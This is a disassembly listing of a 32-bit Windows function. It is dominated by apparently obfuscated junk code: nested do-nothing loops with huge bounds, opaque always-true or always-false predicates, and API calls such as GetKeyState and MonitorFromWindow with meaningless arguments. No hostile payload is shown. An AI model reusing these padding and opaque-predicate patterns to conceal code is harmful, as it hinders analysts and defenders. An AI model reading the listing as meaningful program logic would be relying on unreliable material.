jmp 0x1002f8d7
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1002f8ed
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xdf8], 0
jmp 0x1002f8d0
mov dword [ebp - 0x2c], 0
jmp 0x1002f8fd
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002f913
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x15a4], 0x5846
jmp 0x1002f8f6
mov dword [ebp - 0x1c], 2
jmp 0x1002f923
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x1002fd77
mov dword [ebp - 0x664], 7
push 3
lea ecx, [ebp - 0x11ec]
call fcn.1001b2e8
mov byte [ebp - 4], 0x3a
mov dword [ebp - 0x624], 0x1f63
mov dword [ebp - 0xd54], 0x1000a0e0
cmp dword [ebp - 0x624], 0x21e9
jle 0x1002fa49
and dword [ebp - 0x280], 0
jmp 0x1002f982
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x7251
jge 0x1002fa49
and dword [ebp - 0x270], 0
jmp 0x1002f9a8
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x6108
jge 0x1002fa44
and dword [ebp - 0x278], 0
jmp 0x1002f9ce
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0xc61
jge 0x1002fa3f
and dword [ebp - 0x288], 0
jmp 0x1002f9f0
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x458f
jge 0x1002fa3d
mov ecx, dword [ebp - 0x270]
add ecx, dword [ebp - 0x278]
mov eax, dword [ebp - 0x280]
sar eax, cl
mov ecx, dword [ebp - 0x288]
shl eax, cl
cdq
mov dword [ebp - 0xdec], eax
mov dword [ebp - 0xde8], edx
push dword [ebp - 0xde8]
push dword [ebp - 0xdec]
mov ecx, 0x1060d6f8
call fcn.1001b0b7
jmp 0x1002f9e3
jmp 0x1002f9c1
jmp 0x1002f99b
jmp 0x1002f975
mov dword [ebp - 0x1308], 0xd05c4471
mov byte [ebp - 4], 0x3b
cmp dword [ebp - 0x624], 0x1e82
jge 0x1002fa73
mov edx, dword [ebp - 0xd54]
mov ecx, 0x1060d6f8
call fcn.1001d5c2
jmp 0x1002fa8f
mov dword [ebp - 4], 0x3a
jmp 0x1002fa9f
push 0
push 0xde
lea eax, [ebp - 0x1310]
push eax
lea eax, [ebp - 0x11ec]
push eax
call fcn.1003a1cf
add esp, 0x10
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
push 0
lea ecx, [ebp - 0x218]
call fcn.1001b386
cmp dword [eax], 0xffffffff
jbe 0x1002fae8
mov dword [ebp - 0xf30], 1
jmp 0x1002faef
and dword [ebp - 0xf30], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
push 1
lea ecx, [ebp - 0x218]
call fcn.1001b386
push 2
lea ecx, [ebp - 0x218]
call fcn.1001b386
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x1318], eax
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x644]
mov dword [ebp - 0x62c], eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
mov ecx, dword [ebp - 0x62c]
mov eax, dword [eax]
mov dword [ecx], eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
mov ecx, dword [ebp - 0x62c]
mov ecx, dword [ecx]
cmp ecx, dword [eax]
jg 0x1002fb82
mov dword [ebp - 0xd60], 1
jmp 0x1002fb89
and dword [ebp - 0xd60], 0
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x1320], eax
cmp dword [ebp - 0x290], 0xb5a2
jle 0x1002fbad
mov dword [ebp - 0x634], 1
jmp 0x1002fbb4
and dword [ebp - 0x634], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
mov ecx, dword [ebp - 0x634]
sub ecx, dword [eax]
jne 0x1002fbdb
cmp dword [ebp - 0x1c], 0
jne 0x1002fbdb
and dword [ebp - 0x63c], 0
jmp 0x1002fbe5
mov dword [ebp - 0x63c], 1
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xdf8]
mov edi, dword [ebp - 0x290]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
mov ecx, dword [ebp - 0x63c]
imul ecx, dword [eax]
sub ecx, edi
add ecx, esi
jne 0x1002fc2c
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xdf8], 0
jne 0x1002fc2c
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x1002fc3a
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x644]
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 0xfffffffa
jne 0x1002fc62
mov dword [ebp - 0x654], 1
jmp 0x1002fc69
and dword [ebp - 0x654], 0
push 2
lea ecx, [ebp - 0x218]
call fcn.1001b386
mov esi, dword [ebp - 0x654]
sub esi, dword [eax]
neg esi
add esi, 3
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
cmp dword [eax], esi
jge 0x1002fcaa
mov eax, 0x3e62c90a
test eax, eax
je 0x1002fcaa
mov dword [ebp - 0x65c], 1
jmp 0x1002fcb1
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x65c]
sub eax, dword [ebp - 0xfb0]
add eax, 0x77c4
mov dword [ebp - 0xd6c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xd6c]
mov dword [ebp + eax - 0xdf8], ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
mov esi, dword [ebp - 0x664]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.1001b386
cmp dword [eax], esi
jle 0x1002fd0d
mov dword [ebp - 0x66c], 1
jmp 0x1002fd14
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x290]
cmp dword [ebp - 0x66c], eax
jl 0x1002fd2e
mov dword [ebp - 0x674], 1
jmp 0x1002fd35
and dword [ebp - 0x674], 0
push 0
lea ecx, [ebp - 0x11ec]
call fcn.1001b386
mov ecx, dword [ebp - 0x674]
mov dword [eax], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x15a4]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x15a4], eax
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x11ec]
call fcn.1001b36a
jmp 0x1002f91c
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x160c]
call fcn.1001b36a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x218]
call fcn.1001b36a
mov dword [ebp - 0x194], 0
jmp 0x1002fdae
cmp dword [ebp - 0x194], 6
jge 0x10030944
push 4
lea ecx, [ebp - 0x538]
call fcn.1001b2e8
mov dword [ebp - 4], 0x3d
mov dword [ebp - 0x178], 6
mov dword [ebp - 0x4c8], 0xfffffffe
mov dword [ebp - 0x67c], 0xb8c
mov dword [ebp - 0xf38], 0x1000a158
cmp dword [ebp - 0x67c], 0xb9a
jle 0x1002feef
push 0x25e3
call dword [sym.imp.USER32.dll_GetKeyState]
and dword [ebp - 0x298], 0
jmp 0x1002fe28
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x22cb
jge 0x1002feef
and dword [ebp - 0x2a0], 0
jmp 0x1002fe4e
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x6fad
jge 0x1002feea
and dword [ebp - 0x2a8], 0
jmp 0x1002fe74
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x2b88
jge 0x1002fee5
and dword [ebp - 0x2b0], 0
jmp 0x1002fe96
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x44e1
jge 0x1002fee3
mov eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x2a0]
sar eax, cl
mov ecx, dword [ebp - 0x2a8]
shl eax, cl
and eax, dword [ebp - 0x2b0]
cdq
mov dword [ebp - 0xe04], eax
mov dword [ebp - 0xe00], edx
push dword [ebp - 0xe00]
push dword [ebp - 0xe04]
mov ecx, 0x1060d6f8
call fcn.1001b0b7
jmp 0x1002fe89
jmp 0x1002fe67
jmp 0x1002fe41
jmp 0x1002fe1b
push 3
lea ecx, [ebp - 0x121c]
call fcn.1001b2e8
mov byte [ebp - 4], 0x3e
mov byte [ebp - 4], 0x3f
cmp dword [ebp - 0x67c], 0x9e1
jge 0x1002ff20
mov edx, dword [ebp - 0xf38]
mov ecx, 0x1060d6f8
call fcn.1001d5c2
jmp 0x1002ff3c
mov dword [ebp - 4], 0x3e
jmp 0x1002ff4c
mov dword [ebp - 0xbc], 0
jmp 0x1002ff65
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 4
jge 0x1002ff87
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x538]
call fcn.1001b386
mov dword [eax], 2
jmp 0x1002ff58
mov dword [ebp - 0xbc], 0
jmp 0x1002ffa0
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 3
jge 0x1002ffc2
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x121c]
call fcn.1001b386
mov dword [eax], 0xfffffff8
jmp 0x1002ff93
push 2
lea ecx, [ebp - 0x538]
call fcn.1001b386
mov dword [eax], 0xfffffff1
jmp 0x1002fffb
push 2
lea ecx, [ebp - 0x538]
call fcn.1001b386
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x684]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x684]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x538]
call fcn.1001b386
cmp dword [eax], 0x17
jge 0x1003002e
mov byte [ebp - 0x13a], 0
movzx eax, byte [ebp - 0x13a]
test eax, eax
je 0x1003002c
push 0x6a
push 0x18dc
call dword [sym.imp.USER32.dll_MonitorFromWindow]
jmp 0x1002ffd7
mov dword [ebp - 0x178], 3
jmp 0x10030047
cmp dword [ebp - 0x178], 0
jl 0x100303b3
mov dword [ebp - 0x1328], 0xfffffff7
mov dword [ebp - 0x6b4], 0xffffffff
mov dword [ebp - 0x68c], 0x4ab2
mov dword [ebp - 0xd78], 0x1000a188
cmp dword [ebp - 0x68c], 0x4c55
jle 0x100300ff
and dword [ebp - 0x2b8], 0
jmp 0x1003009e
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x55cb
jge 0x100300ff
and dword [ebp - 0x2c0], 0
jmp 0x100300c0
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x6f79
jge 0x100300fd
mov eax, dword [ebp - 0x2b8]
add eax, dword [ebp - 0x2c0]
cdq
mov dword [ebp - 0xe10], eax
mov dword [ebp - 0xe0c], edx
push dword [ebp - 0xe0c]
push dword [ebp - 0xe10]
mov ecx, 0x1060d6f8
call fcn.1001b0b7
jmp 0x100300b3
jmp 0x10030091
mov dword [ebp - 0x10ac], 3
mov dword [ebp - 0x10a8], 3
mov dword [ebp - 0x10a4], 3
mov dword [ebp - 0x10a0], 3
mov byte [ebp - 4], 0x41
cmp dword [ebp - 0x68c], 0x47b5
jge 0x10030147
mov edx, dword [ebp - 0xd78]
mov ecx, 0x1060d6f8
call fcn.1001d5c2
jmp 0x10030163
mov dword [ebp - 4], 0x3e
jmp 0x10030173
push 1
lea ecx, [ebp - 0x1474]
call fcn.1001b2e8
mov byte [ebp - 4], 0x43
push 1
lea ecx, [ebp - 0x1204]
call fcn.1001b2e8
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0x1474]
push eax
push 0
push 0x248e
push 0x5972
call fcn.10041b93
add esp, 0x14
mov dword [ebp - 0x1f4], 0
jmp 0x100301d0
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 1
jge 0x100301f2
push dword [ebp - 0x1f4]
lea ecx, [ebp - 0x1204]
call fcn.1001b386
mov dword [eax], 0xfff9
jmp 0x100301c3
push dword [ebp - 0x178]
lea ecx, [ebp - 0x538]
call fcn.1001b386
push 0
lea ecx, [ebp - 0x1204]
call fcn.1001b386
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x48c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48c]
cmp dword [eax], 1
jne 0x1003023e
mov dword [ebp - 0x694], 1
jmp 0x10030245
and dword [ebp - 0x694], 0
cmp dword [ebp - 0x694], 1
jl 0x1003025a
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x121c]
call fcn.1001b36a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x538]
call fcn.1001b36a
mov dword [ebp - 0xdb4], 0xffffffff
push 2
lea ecx, [ebp - 0x514]
call fcn.1001b2e8
mov dword [ebp - 4], 0x45
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x30], 0xa9d6
mov dword [ebp - 0x180], 0xfffffff8
push 0x7f65
push 0x32ba
push 0x27c
push 0x6d31
lea eax, [ebp - 0x514]
push eax
push 0x589d
push 0x3193
push 0x862
lea eax, [ebp - 0x1330]
push eax
push 0
push 0x4a1a
call fcn.10041f32
add esp, 0x2c
mov dword [ebp - 0x34], 1
jmp 0x10030457
cmp dword [ebp - 0x34], 0
jl 0x10030744
mov dword [ebp - 0xfc], 0xfffffffc
push dword [ebp - 0x34]
lea ecx, [ebp - 0x514]
call fcn.1001b386
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1338], eax
cmp dword [ebp - 0x30], 0
jne 0x10030497
cmp dword [ebp - 0x34], 0
jne 0x10030497
and dword [ebp - 0x6cc], 0
jmp 0x100304a1
mov dword [ebp - 0x6cc], 1
push dword [ebp - 0x34]
lea ecx, [ebp - 0x514]
call fcn.1001b386
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x6cc]
je 0x100304d1
mov dword [ebp - 0xfec], 1
jmp 0x100304d8
and dword [ebp - 0xfec], 0
mov eax, 0x21b0ae28
test eax, eax
je 0x100304e5
xor eax, eax
jne 0x100304f3
or eax, 0xffffffff
jne 0x100304f3
and dword [ebp - 0x6d4], 0
jmp 0x100304fd
mov dword [ebp - 0x6d4], 1
push dword [ebp - 0x34]
lea ecx, [ebp - 0x514]
call fcn.1001b386
mov eax, dword [eax]
add eax, dword [ebp - 0x6d4]
cmp eax, 0xffffffff
je 0x10030642
cmp dword [ebp - 0x30], 0
je 0x10030642
mov dword [ebp - 0xd9c], 0x718da91e
mov dword [ebp - 0x180], 1
jmp 0x10030665
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x514]
call fcn.1001b36a
mov dword [ebp - 0xff4], 1
mov dword [ebp - 0x1c8], 8
push 3
lea ecx, [ebp - 0x1040]
call fcn.1001b2e8
mov dword [ebp - 4], 0x46
mov dword [ebp - 0x190], 0x5cefd06b
mov dword [ebp - 0x4f0], 0
mov dword [ebp - 0xb0], 0
jmp 0x100307a8
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x100307ca
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x1040]
call fcn.1001b386
mov dword [eax], 0xa2337124
jmp 0x1003079b
mov dword [ebp - 0xb0], 0
jmp 0x100307e3
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x100307ff
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x1484], 0xfffffffb
jmp 0x100307d6
cmp dword [ebp - 0x1c8], 0
jne 0x100308e8
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x6e4], eax
push 1
lea ecx, [ebp - 0x1040]
call fcn.1001b386
mov ecx, dword [ebp - 0x6e4]
mov dword [eax], ecx
cmp dword [ebp - 0x6e4], 0xb2bc40ed
jae 0x1003088c
mov dword [ebp - 0x6f4], 1
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x190], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1040]
call fcn.1001b36a
lea eax, [ebp - 0xda8]
push eax
push 0
push 0x6353
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0xff4]
push eax
lea eax, [ebp - 0xdb4]
push eax
push 0x12cc
push 1
call fcn.10028c4a
add esp, 0x20
jmp 0x1002fda1
mov dword [ebp - 0x1368], 3
mov dword [ebp - 0x1370], 0x4cd4536
mov dword [ebp - 0x1378], 9
mov dword [ebp - 0x1380], 0xd09ea983
mov dword [ebp - 0x1388], 0xb659d568
mov dword [ebp - 0x1390], 0x588d0d3f
mov dword [ebp - 0x1398], 0x60693009
mov dword [ebp - 0x13a4], 0x3244d513
mov dword [ebp - 0x14fc], 0xffffffff
mov dword [ebp - 0x1504], 0xffffffff
mov dword [ebp - 0x150c], 0x7207182
mov dword [ebp - 0x1514], 3
mov dword [ebp - 0xf50], 0x7ab6
push 0
push 0x3e8a
lea eax, [ebp - 0xf50]
push eax
push 0
push 0x1fd
push 0x373c
push 1
call fcn.1003bb4a
add esp, 0x1c
mov byte [ebp - 0x15c], 0
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x6c], 0x62858905
mov dword [ebp - 0x2d8], 1
mov dword [ebp - 0x2d0], 0
jmp 0x10030a22
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 2
jge 0x10030a3e
mov eax, dword [ebp - 0x2d0]
mov dword [ebp + eax*4 - 0xbdc], 0xa964a90c
jmp 0x10030a15
push 0x72ea
push 0x57ae
push 1
push 0x56
push 1
push 0x101c
push 0x606f
push 0
call fcn.100417a9
add esp, 0x20
cmp dword [ebp - 0x14], 0
je 0x10030a77
cmp dword [ebp - 0x14], 0
je 0x10030a77
and dword [ebp - 0x704], 0
jmp 0x10030a81
mov dword [ebp - 0x704], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jge 0x10030a95
mov dword [ebp - 0x6fc], 1
jmp 0x10030a9c
and dword [ebp - 0x6fc], 0
imul eax, dword [ebp - 0x6fc], 0x9bac
cmp eax, 0xeff3
jne 0x10030ab9
mov dword [ebp - 0x70c], 1
jmp 0x10030ac0
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x704]
cmp eax, dword [ebp - 0x70c]
jge 0x10030ada
mov dword [ebp - 0x714], 1
jmp 0x10030ae1
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x714], eax
jne 0x10030af8
mov dword [ebp - 0xdc0], 1
jmp 0x10030aff
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x154c], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jl 0x10030b1c
mov dword [ebp - 0x71c], 1
jmp 0x10030b23
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x71c], eax
jge 0x10030b3a
mov dword [ebp - 0x724], 1
jmp 0x10030b41
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x724]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1554], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x155c], eax
cmp dword [ebp - 0x14], 0xad6
jne 0x10030d5b
mov dword [ebp - 0x4d0], 9
mov dword [ebp - 0x754], 1
mov dword [ebp - 0x6c], 1
jmp 0x10030b8d
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jl 0x10030d56
mov dword [ebp - 0x49c], 0xcc01
mov dword [ebp - 0x53c], 4
mov dword [ebp - 0x14], 1
jmp 0x10030bbb
cmp dword [ebp - 0x14], 0
jl 0x10030d51
mov dword [ebp - 0xfd0], 1
cmp dword [ebp - 0x49c], 0
je 0x10030bed
cmp dword [ebp - 0x49c], 0
je 0x10030bed
mov dword [ebp - 0x72c], 1
jmp 0x10030bf4
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x1564], eax
mov eax, dword [ebp - 0x4d0]
cmp dword [ebp - 0x72c], eax
jne 0x10030c1a
mov dword [ebp - 0x734], 1
jmp 0x10030c21
and dword [ebp - 0x734], 0
cmp dword [ebp - 0x734], 0xf1a0197
je 0x10030c3e
or eax, 0xffffffff
je 0x10030c3e
mov dword [ebp - 0x73c], 1
jmp 0x10030c45
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x49c]
cmp dword [ebp - 0x4d0], 0x6fe1
jl 0x10030c63
mov dword [ebp - 0x744], 1
jmp 0x10030c6a
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp + eax*4 - 0xbdc]
imul eax, dword [ebp - 0x744]
test eax, eax
je 0x10030c94
cmp dword [ebp - 0xfd0], 0
je 0x10030c94
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x74c]
add eax, 9
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0
jne 0x10030cd1
jmp 0x10030b86
jmp 0x10030ed3
mov dword [ebp - 0x104], 0x4f8a3d35
mov dword [ebp - 0x794], 0
mov dword [ebp - 0xdcc], 0xffffffff
mov dword [ebp - 0xf58], 1
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x156c], eax
cmp dword [ebp - 0x104], 8
jae 0x10030da4
mov dword [ebp - 0x784], 1
jmp 0x10030dab
and dword [ebp - 0x784], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xbdc], 0
jne 0x10030dcd
cmp dword [ebp - 0x104], 0
jne 0x10030dcd
and dword [ebp - 0x78c], 0
jmp 0x10030dd7
mov dword [ebp - 0x78c], 1
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x78c]
add eax, dword [ebp - 0x104]
mov dword [ebp - 0x794], eax
mov eax, dword [ebp - 0x794]
imul eax, dword [ebp - 0x104]
imul eax, dword [ebp - 0x104]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0x6c], 4
jge 0x10030e1b
mov dword [ebp - 0x79c], 1
jmp 0x10030e22
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x79c]
sub eax, dword [ebp - 0x104]
jne 0x10030e3e
or eax, 0xffffffff
jne 0x10030e3e
and dword [ebp - 0x7a4], 0
jmp 0x10030e48
mov dword [ebp - 0x7a4], 1
mov eax, dword [ebp - 0x7a4]
add eax, 0x6b80
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 1
jge 0x10030e6e
mov dword [ebp - 0x7ac], 1
jmp 0x10030e75
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x7ac]
neg eax
mov ecx, dword [ebp - 0x104]
add ecx, eax
jne 0x10030e96
cmp dword [ebp - 0x6c], 0
jne 0x10030e96
and dword [ebp - 0x7b4], 0
jmp 0x10030ea0
mov dword [ebp - 0x7b4], 1
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0xf58], eax
mov dword [ebp - 0x14], 0
jmp 0x10030ebc
cmp dword [ebp - 0x14], 1
jg 0x10030ed3
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0xbdc], 0
je 0x10030ed1
jmp 0x10030ed3
jmp 0x10030eb5
movzx eax, byte [ebp - 0x15c]
test eax, eax
je 0x100311d8
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x7dc], 0xecf0
mov dword [ebp - 0x7bc], 0x5ab06c0e
mov dword [ebp - 0x4e8], 0x44ad
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1574], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1570], eax
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x10030f40
mov dword [ebp - 0x114], 0xb319
mov dword [ebp - 0x38], 0
push 1
lea ecx, [ebp - 0x1058]
call fcn.1001b2e8
mov dword [ebp - 4], 0x48
mov dword [ebp - 0x88], 0
jmp 0x10031216
jmp 0x10034897
push 1
push 0x3816
push 0x836
call fcn.100295eb
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret